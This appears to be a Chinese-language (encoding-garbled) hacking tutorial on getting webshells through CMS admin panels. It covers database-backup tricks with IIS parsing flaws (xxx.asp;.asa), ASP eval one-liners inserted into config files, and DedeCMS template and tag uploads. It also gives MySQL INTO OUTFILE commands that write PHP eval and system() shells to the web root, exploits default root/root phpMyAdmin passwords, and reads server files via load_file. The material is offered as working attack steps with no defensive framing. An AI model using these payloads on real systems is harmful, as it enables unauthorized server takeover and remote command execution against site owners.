CMS獲取webshell方法
1.數(shù)據(jù)庫(kù)備份獲取webshell
拿到網(wǎng)站的管理員賬號(hào)密碼或利用其他漏洞進(jìn)入管理員后臺(tái)后??
看一下網(wǎng)站功能??
有一個(gè)數(shù)據(jù)庫(kù)備份功能? ? 再看看有沒(méi)有圖片上傳的地方
這里可以上傳圖片 先把一句話木馬插入到圖片里面上傳上去
為了防止監(jiān)測(cè)文件頭 使用edjpgcom圖片插入一句話工具
將圖片上傳上去? ?開(kāi)始去數(shù)據(jù)庫(kù)備份那里把帶有一句話木馬的圖片備份
為什么上傳帶有木馬的圖片然后備份?
先上傳一張帶有馬的圖? ? 上傳成功后會(huì)返回圖片的路徑 再去備份這個(gè)帶有木馬的圖片? 正常jpg是沒(méi)辦法當(dāng)成腳本執(zhí)行的? 備份完的擴(kuò)展名是asa 如果iis將asa擴(kuò)展名禁用的話? 也是沒(méi)法執(zhí)行asa的
所以利用中間件的解析漏洞 將拓展名改成 xxx.asp;.asa? 再點(diǎn)擊備份 備份完成后的文件是xx.asp;.asa? 這樣就可以把帶有木馬的備份文件當(dāng)成asp腳本來(lái)執(zhí)行
備份成功了? 去訪問(wèn)一下??
getwebshell成功
2.插入一句話獲取webshell
先找到網(wǎng)站配置信息保存位置
網(wǎng)站的配置信息是保存在文件內(nèi)的? 直接插入一句話并且訪問(wèn)網(wǎng)站的配置文件就可以getwebshell
在修改網(wǎng)站配置信息的地方插入一句話代碼"%><%eval request("chopper")%><%'
找到找到配置文件? 然后拼接起來(lái)? ip+/inc/Config.asp? 直接用菜刀鏈接
3.模板修改獲取webshell
DEDECMS后臺(tái)拿webshell
第一種方法 利用文件管理直接上傳PHP大馬
直接在核心->上傳新文件 點(diǎn)文件上傳? ?直接講大馬上傳
第二種方法 利用標(biāo)簽源碼上傳webshell
新增一個(gè)標(biāo)簽或者編輯其中一個(gè)標(biāo)簽都可以
直接把大馬代碼復(fù)制進(jìn)去? 點(diǎn)擊保存
再點(diǎn)確定? 直接就會(huì)跳轉(zhuǎn)到大馬頁(yè)面
第三種方法 利用模板修改 (需要中間件為iis 利用原理是利用iis的解析漏洞)
一定要把文件名修改好??advancedsearch.php;.htm 利用iis解析漏洞
4.SQL命令獲取webshell
一般PHP study默認(rèn)帶有phpmyadmin數(shù)據(jù)庫(kù)管理工具? 默認(rèn)的密碼都是root root? ?有很多管理員都用的默認(rèn)密碼或者是弱口令?
隨便打開(kāi)一個(gè)數(shù)據(jù)庫(kù)? ?可以執(zhí)行SQL命令就可以
第一種方法
CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `best1` FROM `best` INTO OUTFILE ‘D:\\phpStudy\\WWW\\best111111.php’;
DROP TABLE IF EXISTS `best`;
先創(chuàng)建一個(gè)best表并創(chuàng)建一個(gè)字段? ?再拆入一段一句話木馬到該字段? 然后將該表導(dǎo)出到網(wǎng)站根目錄下的xxx.php文件內(nèi)? 最后刪除該表
第二種方法
Create TABLE oldboy (best text NOT NULL);
Insert INTO oldboy (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from oldboy into outfile 'C:\\php\\htdocs\\best111111.php';
Drop TABLE IF EXISTS oldboy;
原理同上
第三種方法
select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\htdocs\\best111111.php';
這種方法更簡(jiǎn)單一些 直接將一句話插入到文件里面
也可以這樣
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:/php/htdocs/best111111.php'
利用MySQL語(yǔ)句讀取文件內(nèi)容
select load_file(‘c://windows//system32//inetsrv//MetaBase.xml');